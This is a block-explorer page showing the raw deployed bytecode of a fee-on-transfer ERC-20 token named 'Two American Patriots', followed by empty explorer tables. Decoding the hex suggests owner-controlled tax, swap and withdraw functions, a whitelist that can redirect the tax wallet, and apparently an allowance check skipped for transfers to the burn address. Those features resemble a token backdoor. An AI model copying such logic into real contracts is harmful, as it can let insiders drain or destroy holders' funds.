50565b5f8261160f57506001610375565b8161161b57505f610375565b8160018114611631576002811461163b57611657565b6001915050610375565b60ff84111561164c5761164c6115ab565b50506001821b610375565b5060208310610133831016604e8410600b841016171561167a575081810a610375565b61168483836115bf565b805f1904821115611697576116976115ab565b029392505050565b5f61101560ff841683611601565b8082028115828204841417610375576103756115ab565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611709575f80fd5b8151611015816114dd565b5f805f60608486031215611726575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561174f575f80fd5b81518015158114611015575f80fd5b81810381811115610375576103756115ab565b5f60018201611782576117826115ab565b5060010190565b80820180821115610375576103756115ab565b5f826117b657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f815180845260208085019450602084015f5b8381101561181b5781516001600160a01b0316875295820195908201906001016117f6565b509495945050505050565b828152604060208201525f610fcc60408301846117e3565b5f602080838503121561184f575f80fd5b825167ffffffffffffffff80821115611866575f80fd5b818501915085601f830112611879575f80fd5b81518181111561188b5761188b6117bb565b8060051b604051601f19603f830116810181811085821117156118b0576118b06117bb565b6040529182528482019250838101850191888311156118cd575f80fd5b938501935b828510156118eb578451845293850193928501926118d2565b98975050505050505050565b85815284602082015260a060408201525f61191560a08301866117e3565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209d1dc4d62e9c4abd0da67ff5c5680a47848b63925792c0191913ac6cc98586a764736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106100fd575f3560e01c8063715018a61161009257806392aa322f1161006257806392aa322f146102a457806395d89b41146102b8578063964f23ad146102e3578063a9059cbb14610302578063dd62ed3e14610321575f80fd5b8063715018a614610240578063751039fc1461025657806380de407e1461026a5780638da5cb5b1461027e575f80fd5b806323b872dd116100cd57806323b872dd146101bd578063313ce567146101dc57806343dfeed1146101f757806370a082311461020c575f80fd5b806306fdde0314610108578063095ea7b31461015757806315e565b11461018657806318160ddd146101a9575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b5060408051808201909152601581527454776f20416d65726963616e2050617472696f747360581b60208201525b60405161014e9190611491565b60405180910390f35b348015610162575f80fd5b506101766101713660046114f1565b610365565b604051901515815260200161014e565b348015610191575f80fd5b5061019b60115481565b60405190815260200161014e565b3480156101b4575f80fd5b5061019b61037b565b3480156101c8575f80fd5b506101766101d736600461151b565b61039b565b3480156101e7575f80fd5b506040516009815260200161014e565b348015610202575f80fd5b5061019b60125481565b348015610217575f80fd5b5061019b610226366004611559565b6001600160a01b03165f9081526001602052604090205490565b34801561024b575f80fd5b50610254610411565b005b348015610261575f80fd5b5061025461048b565b348015610275575f80fd5b506102546104b6565b348015610289575f80fd5b505f546040516001600160a01b03909116815260200161014e565b3480156102af575f80fd5b5061025461085e565b3480156102c3575f80fd5b5060408051808201909152600381526205441560ec1b6020820152610141565b3480156102ee575f80fd5b506102546102fd366004611559565b6108bb565b34801561030d575f80fd5b5061017661031c3660046114f1565b61090e565b34801561032c575f80fd5b5061019b61033b366004611574565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61037133848461091a565b5060015b92915050565b5f6103886009600a61169f565b61039690633b9aca006116ad565b905090565b5f6103a7848484610a3d565b6103b18484610ccb565b1561040757610407843361040285604051806060016040528060288152602001611933602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d2d565b61091a565b5060019392505050565b5f546001600160a01b031633146104435760405162461bcd60e51b815260040161043a906116c4565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104b45760405162461bcd60e51b815260040161043a906116c4565b565b5f546001600160a01b031633146104df5760405162461bcd60e51b815260040161043a906116c4565b600e54600160a01b900460ff16156105395760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043a565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105829030906105746009600a61169f565b61040290633b9aca006116ad565b600c5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f691906116f9565b6001600160a01b031663c9c6539630600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610655573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067991906116f9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e791906116f9565b600e80546001600160a01b039283166001600160a01b0319909116179055600c541663f305d719473061072e816001600160a01b03165f9081526001602052604090205490565b5f806107415f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107a7573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107cc9190611714565b5050600e805462ff00ff60a01b1981166201000160a01b17909155600c5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610837573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085b919061173f565b50565b5f546001600160a01b031633146108875760405162461bcd60e51b815260040161043a906116c4565b5f4711610892575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561085b573d5f803e3d5ffd5b335f9081526003602052604090205460ff166108d5575f80fd5b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f610371338484610a3d565b6001600160a01b03831661097c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043a565b6001600160a01b0382166109dd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043a565b6001600160a01b038216610b035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043a565b5f8111610b645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043a565b5f610b70848484610d65565b6001600160a01b0385165f90815260016020526040902054909150610b959083610fd4565b6001600160a01b0385165f90815260016020526040902055610bd8610bba8383610fd4565b6001600160a01b0385165f908152600160205260409020549061101c565b6001600160a01b0384165f908152600160205260409020558015610c6857305f90815260016020526040902054610c0f908261101c565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c5f9085815260200190565b60405180910390a35b6001600160a01b03831661dead14610cc5576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cb38585610fd4565b60405190815260200160405180910390a35b50505050565b335f9081526003602052604081205460ff1615610cfb5750335f9081526003602052604090205460ff1615610375565b600e546001600160a01b0384811691161480610d2257506001600160a01b03821661dead14155b61037157505f610375565b5f8184841115610d505760405162461bcd60e51b815260040161043a9190611491565b505f610d5c848661175e565b95945050505050565b5f80610d785f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610da657505f546001600160a01b03858116911614155b8015610dbb57506001600160a01b0385163014155b8015610dd057506001600160a01b0384163014155b15610fcc57600e54600160a81b900460ff16610e1557610e126064610e0c600954600b5411610e0157600754610e05565b6008545b869061107a565b906110f8565b90505b600e546001600160a01b038681169116148015610e405750600c546001600160a01b03858116911614155b8015610e6457506001600160a01b0384165f9081526003602052604090205460ff16155b8015610e7e57506004546001600160a01b03858116911614155b15610e9857600b8054905f610e9283611771565b91905055505b305f9081526001602052604081205490546001600160a01b03878116911614801590610ece5750600e54600160a81b900460ff16155b8015610ee75750600e546001600160a01b038681169116145b8015610f0157506004546001600160a01b03878116911614155b8015610f165750600e54600160b01b900460ff165b8015610f255750600a54600b54115b15610fca57601054431115610f39575f600f555b610f4284611139565b600f54610f4f9190611789565b600f8190556012541015610f965760405162461bcd60e51b815260206004820152600e60248201526d13585e081cddd85c081b1a5b5a5d60921b604482015260640161043a565b601154811115610fba57610fba8460115411610fb4576011546112a8565b846112a8565b47610fc44761142a565b50436010555b505b949350505050565b5f61101583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d2d565b9392505050565b5f806110288385611789565b9050838110156110155760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043a565b5f825f0361108957505f610375565b5f61109483856116ad565b9050826110a1858361179c565b146110155760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043a565b5f61101583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611465565b6040805160028082526060820183525f928392919060208301908036833701905050905030815f81518110611170576111706117cf565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111eb91906116f9565b816001815181106111fe576111fe6117cf565b6001600160a01b039283166020918202929092010152600c5460405163d06ca61f60e01b81525f92919091169063d06ca61f906112419087908690600401611826565b5f60405180830381865afa15801561125b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052611282919081019061183e565b905080600181518110611297576112976117cf565b602002602001015192505050919050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ee576112ee6117cf565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611345573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061136991906116f9565b8160018151811061137c5761137c6117cf565b6001600160a01b039283166020918202929092010152600c546113a2913091168461091a565b600c54600d80546001600160a01b0319166001600160a01b03909216918217905560405163791ac94760e01b815263791ac947906113ec9085905f908690309042906004016118f7565b5f604051808303815f87803b158015611403575f80fd5b505af1158015611415573d5f803e3d5ffd5b5050600e805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611461573d5f803e3d5ffd5b5050565b5f81836114855760405162461bcd60e51b815260040161043a9190611491565b505f610d5c848661179c565b5f602080835283518060208501525f5b818110156114bd578581018301518582016040015282016114a1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461085b575f80fd5b5f8060408385031215611502575f80fd5b823561150d816114dd565b946020939093013593505050565b5f805f6060848603121561152d575f80fd5b8335611538816114dd565b92506020840135611548816114dd565b929592945050506040919091013590565b5f60208284031215611569575f80fd5b8135611015816114dd565b5f8060408385031215611585575f80fd5b8235611590816114dd565b915060208301356115a0816114dd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115f957815f19048211156115df576115df6115ab565b808516156115ec57918102915b93841c93908002906115c4565b509250929050565b5f8261160f57506001610375565b8161161b57505f610375565b8160018114611631576002811461163b57611657565b6001915050610375565b60ff84111561164c5761164c6115ab565b50506001821b610375565b5060208310610133831016604e8410600b841016171561167a575081810a610375565b61168483836115bf565b805f1904821115611697576116976115ab565b029392505050565b5f61101560ff841683611601565b8082028115828204841417610375576103756115ab565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611709575f80fd5b8151611015816114dd565b5f805f60608486031215611726575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561174f575f80fd5b81518015158114611015575f80fd5b81810381811115610375576103756115ab565b5f60018201611782576117826115ab565b5060010190565b80820180821115610375576103756115ab565b5f826117b657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f815180845260208085019450602084015f5b8381101561181b5781516001600160a01b0316875295820195908201906001016117f6565b509495945050505050565b828152604060208201525f610fcc60408301846117e3565b5f602080838503121561184f575f80fd5b825167ffffffffffffffff80821115611866575f80fd5b818501915085601f830112611879575f80fd5b81518181111561188b5761188b6117bb565b8060051b604051601f19603f830116810181811085821117156118b0576118b06117bb565b6040529182528482019250838101850191888311156118cd575f80fd5b938501935b828510156118eb578451845293850193928501926118d2565b98975050505050505050565b85815284602082015260a060408201525f61191560a08301866117e3565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209d1dc4d62e9c4abd0da67ff5c5680a47848b63925792c0191913ac6cc98586a764736f6c63430008180033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.